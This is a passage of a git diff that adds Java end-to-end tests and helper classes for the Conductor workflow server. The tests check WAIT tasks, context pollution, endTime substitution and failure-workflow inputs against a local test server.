request.setWorkflowDef(workflowDef); + request.setTaskToDomain(Map.of("*", "my_domain")); + + var workflowId = workflowClient.startWorkflow(request); + // conductor-oss postgres queue may have up to ~10s overhead over the configured wait + // duration; + // 2s WAIT + ~10s sweeper overhead + buffer = 30s to be safe + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + var wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(1, wf.getTasks().size()); + var t0 = wf.getTasks().get(0); + assertEquals("WAIT", t0.getTaskType()); + assertNull(t0.getDomain()); + assertEquals(Task.Status.COMPLETED, t0.getStatus()); + }); + } + + @Test + @DisplayName("Wait task correctly set task def name") + public void setVariableAndWaitTaskTest() { + var workflowClient = ApiUtil.WORKFLOW_CLIENT; + + var workflowDef = new WorkflowDef(); + workflowDef.setName("set_variable_wait_workflow"); + workflowDef.setVersion(1); + workflowDef.setOwnerEmail("test@conductor.io"); + + // SET_VARIABLE task + var setVarTask = new WorkflowTask(); + setVarTask.setType("SET_VARIABLE"); + setVarTask.setName("set_var"); + setVarTask.setTaskReferenceName("set_var_ref"); + setVarTask.getInputParameters().put("var", "testValue"); + setVarTask.getInputParameters().put("value", "42"); + workflowDef.getTasks().add(setVarTask); + + // WAIT task + var waitTask = new WorkflowTask(); + waitTask.setType("WAIT"); + waitTask.setName("wait_task"); + waitTask.setTaskReferenceName("wait_task_ref"); + waitTask.getInputParameters().put("duration", "1 second"); + workflowDef.getTasks().add(waitTask); + + var request = new StartWorkflowRequest(); + request.setName(workflowDef.getName()); + request.setVersion(workflowDef.getVersion()); + request.setWorkflowDef(workflowDef); + + var workflowId = workflowClient.startWorkflow(request); + // 1s WAIT + ~10s postgres sweeper overhead + buffer + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + var wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(2, wf.getTasks().size()); + + var setVar = wf.getTasks().get(0); + assertEquals("SET_VARIABLE", setVar.getTaskType()); + assertEquals(Task.Status.COMPLETED, setVar.getStatus()); + + var wait = wf.getTasks().get(1); + assertEquals("WAIT", wait.getTaskType()); + assertEquals(Task.Status.COMPLETED, wait.getStatus()); + assertNotNull(wait.getWorkflowTask()); + assertNotNull(wait.getWorkflowTask().getTaskDefinition()); + assertNotNull(wait.getWorkflowTask().getTaskDefinition().getName()); + }); + } + + @AfterEach + public void cleanup() { + if (executor != null) { + executor.shutdown(); + } + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/util/ApiUtil.java b/e2e/src/test/java/io/conductor/e2e/util/ApiUtil.java new file mode 100644 index 0000000..7b225d9 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/util/ApiUtil.java @@ -0,0 +1,45 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.util; + +import com.netflix.conductor.client.http.ConductorClient; +import com.netflix.conductor.client.http.EventClient; +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; + +public class ApiUtil { + + // The conductor-client SDK appends paths like /metadata/workflow to the basePath, + // so we must point basePath to the API root (/api), not the server root. + // Check system property first (set by test-harness functional tests), then env var. + private static final String SERVER_HOST = + System.getProperty( + "SERVER_ROOT_URI", + System.getenv().getOrDefault("SERVER_ROOT_URI", "http://localhost:8000/api")); + + public static final String SERVER_ROOT_URI = + SERVER_HOST.endsWith("/api") ? SERVER_HOST : SERVER_HOST + "/api"; + + public static final ConductorClient CLIENT = + ConductorClient.builder() + .basePath(SERVER_ROOT_URI) + .readTimeout( + 30_000) // 30 seconds to support synchronous workflow execution endpoint + .build(); + + public static final WorkflowClient WORKFLOW_CLIENT = new WorkflowClient(CLIENT); + public static final TaskClient TASK_CLIENT = new TaskClient(CLIENT); + public static final MetadataClient METADATA_CLIENT = new MetadataClient(CLIENT); + public static final EventClient EVENT_CLIENT = new EventClient(CLIENT); +} diff --git a/e2e/src/test/java/io/conductor/e2e/util/Commons.java b/e2e/src/test/java/io/conductor/e2e/util/Commons.java new file mode 100644 index 0000000..7716c07 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/util/Commons.java @@ -0,0 +1,36 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.util; + +import java.util.UUID; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; + +public class Commons { + public static String WORKFLOW_NAME = "test_wf_" + UUID.randomUUID().toString().replace("-", ""); + public static String TASK_NAME = "test-sdk-java-task"; + public static String OWNER_EMAIL = "test@conductor.io"; + public static int WORKFLOW_VERSION = 1; + + public static TaskDef getTaskDef() { + TaskDef taskDef = new TaskDef(); + taskDef.setName(Commons.TASK_NAME); + taskDef.setOwnerEmail(Commons.OWNER_EMAIL); + return taskDef; + } + + public static StartWorkflowRequest getStartWorkflowRequest() { + return new StartWorkflowRequest().withName(WORKFLOW_NAME).withVersion(WORKFLOW_VERSION); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/util/RegistrationUtil.java b/e2e/src/test/java/io/conductor/e2e/util/RegistrationUtil.java new file mode 100644 index 0000000..490a966 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/util/RegistrationUtil.java @@ -0,0 +1,162 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.util; + +import java.util.Arrays; +import java.util.List; +import java.util.Map; + +import com.netflix.conductor.client.http.EventClient; +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; + +public class RegistrationUtil { + + public static void registerWorkflowDef( + String workflowName, + String taskName1, + String taskName2, + MetadataClient metadataClient1) { + TaskDef taskDef = new TaskDef(taskName1); + taskDef.setRetryCount(0); + taskDef.setOwnerEmail("test@conductor.io"); + TaskDef taskDef2 = new TaskDef(taskName2); + taskDef2.setRetryCount(0); + taskDef2.setOwnerEmail("test@conductor.io"); + + WorkflowTask inline = new WorkflowTask(); + inline.setTaskReferenceName("inline_" + taskName1); + inline.setName(taskName1); + inline.setTaskDefinition(taskDef); + inline.setWorkflowTaskType(TaskType.INLINE); + inline.setInputParameters(Map.of("evaluatorType", "graaljs", "expression", "true;")); + + WorkflowTask simpleTask = new WorkflowTask(); + simpleTask.setTaskReferenceName(taskName2); + simpleTask.setName(taskName2); + simpleTask.setTaskDefinition(taskDef); + simpleTask.setWorkflowTaskType(TaskType.SIMPLE); + simpleTask.setInputParameters(Map.of("value", "${workflow.input.value}", "order", "123")); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setInputParameters(Arrays.asList("value", "inlineValue")); + workflowDef.setDescription("Workflow to monitor order state"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setTasks(Arrays.asList(inline, simpleTask)); + metadataClient1.updateWorkflowDefs(Arrays.asList(workflowDef)); + metadataClient1.registerTaskDefs(Arrays.asList(taskDef, taskDef2)); + } + + public static void registerWorkflowWithSubWorkflowDef( + String workflowName, + String subWorkflowName, + String taskName, + MetadataClient metadataClient) { + TaskDef taskDef = new TaskDef(taskName); + taskDef.setRetryCount(0); + taskDef.setOwnerEmail("test@conductor.io"); + TaskDef taskDef2 = new TaskDef(subWorkflowName); + taskDef2.setRetryCount(0); + taskDef2.setOwnerEmail("test@conductor.io"); + + WorkflowTask inline = new WorkflowTask(); + inline.setTaskReferenceName(taskName); + inline.setName(taskName); + inline.setTaskDefinition(taskDef); + inline.setWorkflowTaskType(TaskType.SIMPLE); + inline.setInputParameters(Map.of("evaluatorType", "graaljs", "expression", "true;")); + + WorkflowTask subworkflowTask = new WorkflowTask(); + subworkflowTask.setTaskReferenceName(subWorkflowName); + subworkflowTask.setName(subWorkflowName); + subworkflowTask.setTaskDefinition(taskDef2); + subworkflowTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName(subWorkflowName); + subWorkflowParams.setVersion(1); + subWorkflowParams.setPriority(12); + subworkflowTask.setSubWorkflowParam(subWorkflowParams); + subworkflowTask.setInputParameters( + Map.of("subWorkflowName", subWorkflowName, "subWorkflowVersion", "1")); + + WorkflowDef subworkflowDef = new WorkflowDef(); + subworkflowDef.setName(subWorkflowName); + subworkflowDef.setOwnerEmail("test@conductor.io"); + subworkflowDef.setInputParameters(Arrays.asList("value", "inlineValue")); + subworkflowDef.setDescription("Sub Workflow to test retry"); + subworkflowDef.setTimeoutSeconds(600); + subworkflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + subworkflowDef.setTasks(Arrays.asList(inline)); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setInputParameters(Arrays.asList("value", "inlineValue")); + workflowDef.setDescription("Workflow to test retry"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setTasks(Arrays.asList(subworkflowTask)); + workflowDef.setOwnerEmail("test@conductor.io"); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + metadataClient.updateWorkflowDefs(java.util.List.of(subworkflowDef)); + metadataClient.registerTaskDefs(Arrays.asList(taskDef, taskDef2)); + } + + public static EventHandler registerAndGetEventHandler( + String subscriberTopicName, + EventClient eventClient, + boolean startWorkflow, + String integrationName, + String handlerName) { + // Convert JSON to EventHandler object + EventHandler eventHandler = new EventHandler(); + eventHandler.setName(handlerName); + eventHandler.setEvent("nats:" + integrationName + ":" + subscriberTopicName + ".*"); + eventHandler.setCondition("true"); + eventHandler.setActive(true); + eventHandler.setEvaluatorType("javascript"); + // Note: tags field can be null - server handles it defensively + + EventHandler.Action action = new EventHandler.Action(); + if (startWorkflow) { + // Start the workflow + action.setAction(EventHandler.Action.Type.complete_task); + EventHandler.TaskDetails taskDetails = new EventHandler.TaskDetails(); + taskDetails.setWorkflowId("${workflowInstanceId}"); + taskDetails.setTaskRefName("${taskReferenceName}"); + action.setComplete_task(taskDetails); + } else { + action.setAction(EventHandler.Action.Type.update_workflow_variables); + EventHandler.UpdateWorkflowVariables updateWorkflowVariables = + new EventHandler.UpdateWorkflowVariables(); + // Update the workflow variables so that we assert on this array size. + updateWorkflowVariables.setVariables(Map.of("updatedBy", "e2e")); + updateWorkflowVariables.setWorkflowId("${workflowInstanceId}"); + updateWorkflowVariables.setAppendArray(true); + action.setUpdate_workflow_variables(updateWorkflowVariables); + eventHandler.setActions(List.of(action)); + } + eventHandler.setActions(List.of(action)); + + // Register Event Handler + eventClient.registerEventHandler(eventHandler); + return eventHandler; + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/util/SimpleWorker.java b/e2e/src/test/java/io/conductor/e2e/util/SimpleWorker.java new file mode 100644 index 0000000..c29109a --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/util/SimpleWorker.java @@ -0,0 +1,32 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.util; + +import com.netflix.conductor.client.worker.Worker; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; + +public class SimpleWorker implements Worker { + @Override + public String getTaskDefName() { + return Commons.TASK_NAME; + } + + @Override + public TaskResult execute(Task task) { + task.setStatus(Task.Status.COMPLETED); + task.getOutputData().put("key", "value"); + task.getOutputData().put("key2", 42); + return new TaskResult(task); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/util/TestUtil.java b/e2e/src/test/java/io/conductor/e2e/util/TestUtil.java new file mode 100644 index 0000000..dea7a65 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/util/TestUtil.java @@ -0,0 +1,27 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.util; + +import java.io.IOException; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; + +public class TestUtil { + + public static String getResourceAsString(String classpathResource) throws IOException { + InputStream stream = TestUtil.class.getClassLoader().getResourceAsStream(classpathResource); + assert stream != null; + byte[] data = stream.readAllBytes(); + return new String(data, StandardCharsets.UTF_8); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/util/WorkflowUtil.java b/e2e/src/test/java/io/conductor/e2e/util/WorkflowUtil.java new file mode 100644 index 0000000..776571c --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/util/WorkflowUtil.java @@ -0,0 +1,34 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.util; + +import java.util.List; + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; + +public class WorkflowUtil { + public static WorkflowDef getWorkflowDef() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(Commons.WORKFLOW_NAME); + workflowDef.setVersion(Commons.WORKFLOW_VERSION); + workflowDef.setOwnerEmail(Commons.OWNER_EMAIL); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName(Commons.TASK_NAME); + workflowTask.setTaskReferenceName(Commons.TASK_NAME); + workflowDef.setTasks(List.of(workflowTask)); + return workflowDef; + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/workflow/ClearContextTest.java b/e2e/src/test/java/io/conductor/e2e/workflow/ClearContextTest.java new file mode 100644 index 0000000..c730ddc --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/workflow/ClearContextTest.java @@ -0,0 +1,94 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.workflow; + +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; + +import io.conductor.e2e.util.ApiUtil; + +public class ClearContextTest { + + static WorkflowClient workflowClient; + static TaskClient taskClient; + static MetadataClient metadataClient; + + @BeforeAll + public static void init() { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + } + + @Test + @DisplayName("Context is not polluted by update task calls") + public void testContextNotPolluted() throws Exception { + // Step 1: Register a test task definition + String taskName = "clear_context_test_task"; + TaskDef taskDef = new TaskDef(taskName); + taskDef.setOwnerEmail("test@conductor.io"); + metadataClient.registerTaskDefs(java.util.Collections.singletonList(taskDef)); + + // Step 2: Register a workflow definition using this task + String workflowName = "clear_context_test_workflow"; + WorkflowTask workflowTask = + new com.netflix.conductor.common.metadata.workflow.WorkflowTask(); + workflowTask.setName(taskName); + workflowTask.setTaskReferenceName(taskName); + workflowTask.setWorkflowTaskType( + com.netflix.conductor.common.metadata.tasks.TaskType.SIMPLE); + workflowTask.setTaskDefinition(taskDef); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setVersion(1); + workflowDef.setTasks(java.util.Collections.singletonList(workflowTask)); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + + // Step 3: Start a thread that constantly calls updateTaskDef + Thread updater = + new Thread( + () -> { + for (int i = 0; i < 1000; i++) { + try { + metadataClient.updateTaskDef(taskDef); + } catch (Exception ignored) { + } + } + }); + updater.start(); + + // Step 4: Start a workflow while the updater thread is running + com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest startWorkflowRequest = + new com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + + // Step 5: Fetch the workflow and assert ownerApp is empty + com.netflix.conductor.common.run.Workflow workflow = + workflowClient.getWorkflow(workflowId, true); + org.junit.jupiter.api.Assertions.assertTrue( + workflow.getOwnerApp() == null || workflow.getOwnerApp().isEmpty(), + "ownerApp should be empty but was: " + workflow.getOwnerApp()); + updater.interrupt(); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/workflow/EndTimeIssueTests.java b/e2e/src/test/java/io/conductor/e2e/workflow/EndTimeIssueTests.java new file mode 100644 index 0000000..cfcdc59 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/workflow/EndTimeIssueTests.java @@ -0,0 +1,100 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.workflow; + +import java.util.concurrent.TimeUnit; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; + +import io.conductor.e2e.util.ApiUtil; +import lombok.SneakyThrows; + +import static io.conductor.e2e.util.TestUtil.getResourceAsString; +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; + +public class EndTimeIssueTests { + + @DisplayName("${task_ref.endTime} should be replaced correctly") + @Test + @SneakyThrows + void endTimeIsReplacedCorrectly() { + final var start = System.currentTimeMillis(); + var metadataClient = ApiUtil.METADATA_CLIENT; + var workflowClient = ApiUtil.WORKFLOW_CLIENT; + var taskClient = ApiUtil.TASK_CLIENT; + + var mapper = new ObjectMapperProvider().getObjectMapper(); + var workflowDef = + mapper.readValue( + getResourceAsString("metadata/end_time_workflow.json"), WorkflowDef.class); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + + var startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowDef.getName()); + startWorkflowRequest.setVersion(workflowDef.getVersion()); + var workflowId = workflowClient.startWorkflow(startWorkflowRequest); + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + var task = + taskClient.pollTask("end_time_simple", "end-time-worker", null); + assertNotNull(task); + assertEquals(workflowId, task.getWorkflowInstanceId()); + assertEquals("simple_ref", task.getReferenceTaskName()); + assertEquals(Task.Status.IN_PROGRESS, task.getStatus()); + + var result = new TaskResult(task); + result.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(result); + }); + + for (int i = 2; i <= 3; i++) { + var n = i; + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + var taskType = "end_time_simple_" + n; + var task = taskClient.pollTask(taskType, "end-time-worker", null); + assertNotNull(task); + assertEquals(workflowId, task.getWorkflowInstanceId()); + assertEquals(Task.Status.IN_PROGRESS, task.getStatus()); + + assertNotNull(task.getInputData().get("endTime")); + var endTime = + Long.parseLong( + task.getInputData().get("endTime").toString()); + if (endTime < start) { + // we want to throw an Exception to break the untilAsserted + // block + throw new RuntimeException( + String.format( + "Invalid value for ${simple_ref.endTime}:%d in task %s", + endTime, taskType)); + } + + var result = new TaskResult(task); + result.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(result); + }); + } + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/workflow/FailureWorkflowTests.java b/e2e/src/test/java/io/conductor/e2e/workflow/FailureWorkflowTests.java new file mode 100644 index 0000000..d696456 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/workflow/FailureWorkflowTests.java @@ -0,0 +1,263 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.workflow; + +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.util.*; +import java.util.concurrent.TimeUnit; + +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.exception.ConductorClientException; +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import io.conductor.e2e.util.ApiUtil; +import lombok.extern.slf4j.Slf4j; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +@Slf4j +public class FailureWorkflowTests { + private static TypeReference> WORKFLOW_DEF_LIST = + new TypeReference>() {}; + + private static TypeReference> TASK_DEF_LIST = + new TypeReference>() {}; + static WorkflowClient workflowClient; + static TaskClient taskClient; + static MetadataClient metadataClient; + static ObjectMapper objectMapper = new ObjectMapper(); + + @BeforeAll + public static void init() throws IOException { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + // Load metadata + InputStream resource = + FailureWorkflowTests.class.getResourceAsStream("/metadata/workflow_data.json"); + if (resource != null) { + List workflowDefs = + objectMapper.readValue(new InputStreamReader(resource), WORKFLOW_DEF_LIST); + metadataClient.updateWorkflowDefs(workflowDefs); + } + + resource = FailureWorkflowTests.class.getResourceAsStream("/metadata/tasks_data.json"); + if (resource != null) { + List taskDefs = + objectMapper.readValue(new InputStreamReader(resource), TASK_DEF_LIST); + metadataClient.registerTaskDefs(taskDefs); + } + } + + @Test + @DisplayName("Check failed workflows do not loose tasks") + // Bulkhead will hit the limit and fail the workflow so skipping this is api orchestration is + // enabled + public void testFailureTasksAreNotLost() { + String workflowName = "this_will_fail"; + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + List workflowIds = new ArrayList<>(); + List retried = new ArrayList<>(); + for (int i = 0; i < 100; i++) { + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + workflowIds.add(workflowId); + } + boolean allDone = workflowIds.isEmpty(); + int maxIterations = 1000; + while (!allDone && maxIterations > 0) { + maxIterations--; + List done = new ArrayList<>(); + for (int i = 0; i < workflowIds.size(); i++) { + String workflowId = workflowIds.get(i); + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + if (workflow.getStatus().isTerminal()) { + assertTrue(!workflow.getTasks().isEmpty()); + done.add(workflowId); + workflowClient.retryLastFailedTask(workflowId); + retried.add(workflowId); + } + } + workflowIds.removeAll(done); + allDone = workflowIds.isEmpty(); + } + + for (String workflowId : retried) { + try { + await().atMost(15, TimeUnit.SECONDS) + .pollInterval(10, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow workflow = + workflowClient.getWorkflow(workflowId, true); + assertEquals( + Workflow.WorkflowStatus.FAILED, workflow.getStatus()); + assertTrue(!workflow.getTasks().isEmpty()); + }); + } catch (Exception e) { + if (!(e instanceof ConductorClientException)) { + throw e; + } + } + } + } + + @Test + @DisplayName("Check failure workflow input as passed properly") + public void testFailureWorkflowInputs() { + String workflowName = "failure-workflow-test"; + String taskDefName = "simple-task1"; + String taskDefName2 = "simple-task2"; + + // Register workflow + registerWorkflowDefWithFailureWorkflow( + workflowName, taskDefName, taskDefName2, metadataClient); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + await().atMost(33, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertTrue( + !workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .isEmpty()); + }); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + + // Fail the simple task + Map output = new HashMap<>(); + output.put("status", "completed"); + output.put("reason", "inserted"); + workflow = + taskClient.updateTaskSync( + workflowId, + workflow.getTasks().get(0).getReferenceTaskName(), + TaskResult.Status.COMPLETED, + output); + + String reason = "Employee not found"; + String taskId = workflow.getTasks().get(1).getTaskId(); + TaskResult taskResult = new TaskResult(); + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(taskId); + taskResult.setStatus(TaskResult.Status.FAILED_WITH_TERMINAL_ERROR); + taskResult.setReasonForIncompletion(reason); + taskClient.updateTask(taskResult); + + // Wait for workflow to get failed + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + Workflow.WorkflowStatus.FAILED.name(), + workflow1.getStatus().name()); + assertNotNull(workflow1.getOutput().get("conductor.failure_workflow")); + }); + + // Check failure workflow has complete parent workflow information + workflow = workflowClient.getWorkflow(workflowId, false); + String failureWorkflowId = + workflow.getOutput().get("conductor.failure_workflow").toString(); + + workflow = workflowClient.getWorkflow(failureWorkflowId, false); + // Assert on input attributes + assertNotNull(workflow.getInput().get("failedWorkflow")); + assertNotNull(workflow.getInput().get("failureTaskId")); + assertNotNull(workflow.getInput().get("workflowId")); + assertEquals("FAILED", workflow.getInput().get("failureStatus").toString()); + assertTrue( + workflow.getInput().get("reason").toString().contains(reason), + "Reason should contain '" + reason + "'"); + Map input = (Map) workflow.getInput().get("failedWorkflow"); + + assertNotNull(input.get("tasks")); + List> tasks = (List>) input.get("tasks"); + assertNotNull(tasks.get(0).get("outputData")); + Map 